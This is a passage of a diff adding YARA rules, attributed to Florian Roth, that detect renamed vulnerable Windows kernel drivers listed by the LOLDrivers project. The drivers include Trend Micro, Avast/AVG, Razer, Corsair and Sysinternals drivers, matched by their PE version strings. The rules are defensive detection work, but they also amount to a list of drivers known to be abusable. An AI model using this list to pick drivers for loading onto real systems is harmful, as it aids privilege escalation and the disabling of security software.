+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0031003900300031002e0031003100300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 } /* InternalName IOdriver */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f0020006400720069007600650072 } /* ProductName BIOSTARIOdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f005200430049004f00360034002e007300790073 } /* OriginalFilename BSRCIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310038002d0032003000310039002000420049004f0053005400410052002000470072006f00750070 } /* LegalCopyright CopyrightcBIOSTARGroup */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /BS_RCIO64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrwinddkprovider_Amifldrvsys_Windowsrwinddkdriver_38D8 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amifldrv64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "38d87b51f4b69ba2dae1477684a1415f1a3b578eee5e1126673b1beaefee9a20"
+		hash = "ffc72f0bde21ba20aa97bee99d9e96870e5aa40cce9884e44c612757f939494f"
+		date = "2023-06-14"
+		score = 70
+		id = "4b8f46b5-c709-5fdf-a6d6-1cf7745fc989"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0049002000470065006e00650072006900630020005500740069006c0069007400790020004400720069007600650072 } /* FileDescription AMIGenericUtilityDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRWinDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0061006d00690066006c006400720076002e007300790073 } /* InternalName amifldrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 } /* ProductName WindowsRWinDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061006d00690066006c006400720076002e007300790073 } /* OriginalFilename amifldrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /amifldrv64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Highresolutionenterpriseswwwhighrezcouk_Inpoutxsys_Inpoutxdriverversion_X_F581 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - inpoutx64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f581decc2888ef27ee1ea85ea23bbb5fb2fe6a554266ff5a1476acd1d29d53af"
+		hash = "f8965fdce668692c3785afa3559159f9a18287bc0d53abb21902895a8ecf221b"
+		hash = "2d83ccb1ad9839c9f5b3f10b1f856177df1594c66cbbc7661677d4b462ebf44d"
+		date = "2023-06-14"
+		score = 70
+		id = "8a86b8d4-fc20-5b4e-9ff7-f19d229d7eff"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00650072006e0065006c0020006c006500760065006c00200070006f0072007400200061006300630065007300730020006400720069007600650072 } /* FileDescription Kernellevelportaccessdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048006900670068007200650073006f006c007500740069006f006e00200045006e0074006500720070007200690073006500730020005b007700770077002e006800690067006800720065007a002e0063006f002e0075006b005d } /* CompanyName HighresolutionEnterpriseswwwhighrezcouk */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion xbuiltbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320020007800360034 } /* ProductVersion x */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006e0070006f00750074007800360034002e007300790073 } /* InternalName inpoutxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006e0070006f007500740078003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0032 } /* ProductName inpoutxDriverVersion */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006e0070006f00750074007800360034002e007300790073 } /* OriginalFilename inpoutxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300030003800200048006900670068007200650073006f006c007500740069006f006e00200045006e007400650072007000720069007300650073002e00200050006f007200740069006f006e007300200043006f007000790072006900670068007400200028006300290020004c006f00670069007800340075 } /* LegalCopyright CopyrightcHighresolutionEnterprisesPortionsCopyrightcLogixu */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /inpoutx64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_12ED {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "12eda8b65ed8c1d80464a0c535ea099dffdb4981c134294cb0fa424efc85ee56"
+		date = "2023-06-14"
+		score = 70
+		id = "616ba0c6-a6fe-550c-9e04-bbeba84118ba"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_EBE2 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ebe2e9ec6d5d94c2d58fbcc9d78c5f0ee7a2f2c1aed6d1b309f383186d11dfa3"
+		date = "2023-06-14"
+		score = 70
+		id = "d8069eed-ff86-59ff-a410-12a8f57764e2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0032002e0034003100350037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0032002e0034003100350037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_A334 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a334bdf0c0ab07803380eb6ef83eefe7c147d6962595dd9c943a6a76f2200b0d"
+		hash = "000547560fea0dd4b477eb28bf781ea67bf83c748945ce8923f90fdd14eb7a4b"
+		date = "2023-06-14"
+		score = 70
+		id = "08d52deb-a03e-5738-8416-71071d8f683a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* FileDescription CorsairLLAccess */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e } /* CompanyName CorsairMemoryInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* InternalName CorsairLLAccess */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* ProductName CorsairLLAccess */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* OriginalFilename CorsairLLAccess */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 } /* LegalCopyright CorsairMemoryInccAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /CorsairLLAccess64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_1C12 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1c1251784e6f61525d0082882a969cb8a0c5d5359be22f5a73e3b0cd38b51687"
+		date = "2023-06-14"
+		score = 70
+		id = "3ab90f44-3463-5e71-8637-b85450e8f45d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003100320034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_4BC0 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4bc0921ffd4acc865525d3faf98961e8decc5aec4974552cbbf2ae8d5a569de4"
+		date = "2023-06-14"
+		score = 70
+		id = "d348bd57-9044-5fcd-905f-795ae2e5adc4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e00320030002e0030002e0031003000310032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e00320030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 } /* ProductName TrendMicroAEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Iobitinformationtechnology_Iobitunlockersys_Unlocker_F85C {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - IObitUnlocker.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f85cca4badff17d1aa90752153ccec77a68ad282b69e3985fdc4743eaea85004"
+		date = "2023-06-14"
+		score = 70
+		id = "25ccdffd-65c4-52aa-9bd3-1bd219b28ad0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0055006e006c006f0063006b006500720020004400720069007600650072 } /* FileDescription UnlockerDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f00620069007400200049006e0066006f0072006d006100740069006f006e00200054006500630068006e006f006c006f00670079 } /* CompanyName IObitInformationTechnology */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0030002e00310030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0030002e00310030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 } /* InternalName IObitUnlockersys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0055006e006c006f0063006b00650072 } /* ProductName Unlocker */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 } /* OriginalFilename IObitUnlockersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200049004f006200690074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright IObitAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /IObitUnlocker/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Razerinc_Rzpnk_Rzpnk_93D8 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "93d873cdf23d5edc622b74f9544cac7fe247d7a68e1e2a7bf2879fad97a3ae63"
+		date = "2023-06-14"
+		score = 70
+		id = "d7f84859-7bbf-5077-bb7a-e3de30f7a458"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 } /* FileDescription RazerOverlaySupport */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e } /* CompanyName RazerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100350035 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100350035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b } /* InternalName Rzpnk */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b } /* ProductName Rzpnk */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 } /* OriginalFilename Rzpnksys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310037002e002000520061007a00650072002c00200049006e0063002e } /* LegalCopyright CopyrightCRazerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /rzpnk/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Wisecleanercom_Wiseunlosys_Wiseunlo_358A {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WiseUnlo.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "358ac54be252673841a1d65bfc2fb6d549c1a4c877fa7f5e1bfa188f30375d69"
+		date = "2023-06-14"
+		score = 70
+		id = "7c0bdc84-8e81-5a5f-be68-c166478147fb"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069007300650055006e006c006f } /* FileDescription WiseUnlo */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069007300650043006c00650061006e00650072002e0063006f006d } /* CompanyName WiseCleanercom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0032002e00310033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0032002e00310033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 } /* InternalName WiseUnlosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069007300650055006e006c006f } /* ProductName WiseUnlo */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 } /* OriginalFilename WiseUnlosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000310035 } /* LegalCopyright Copyright */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /WiseUnlo/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_9B6A {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9b6a84f7c40ea51c38cc4d2e93efb3375e9d98d4894a85941190d94fbe73a4e4"
+		date = "2023-06-14"
+		score = 70
+		id = "6c6c46f1-00ad-5a6f-89f4-7fd7911676ac"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00320037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00320037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310039 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_7D43 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7d43769b353d63093228a59eb19bba87ce6b552d7e1a99bf34a54eee641aa0ea"
+		date = "2023-06-14"
+		score = 70
+		id = "ae0da285-f043-5d20-8157-8b33c827f488"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310037002e0039002e0033003700360031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037002e0039002e0033003700360031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310034002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Aegis_ADC1 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "adc10de960f40fa9f6e28449748250fa9ddfd331115b77a79809a50c606753ee"
+		date = "2023-06-14"
+		score = 70
+		id = "a2496fca-4e17-54a1-af5b-016e74c3adaa"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0031003000310036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 } /* ProductName AEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_9491 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "94911fe6f2aba9683b10353094caf71ee4a882de63b4620797629d79f18feec5"
+		date = "2023-06-14"
+		score = 70
+		id = "e8f74917-d750-52e4-a9d0-832620ef8b24"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Fujitsulimited_Advdrvsys_Microsoftrwindowsroperatingsystem_04A8 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ADV64DRV.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "04a85e359525d662338cae86c1e59b1d7aa9bd12b920e8067503723dc1e03162"
+		date = "2023-06-14"
+		score = 70
+		id = "0fa674cc-8084-5a92-804b-3572af484c63"
+	strings:
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00460055004a00490054005300550020004c0049004d0049005400450044002e } /* CompanyName FUJITSULIMITED */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200030 } /* FileVersion  */
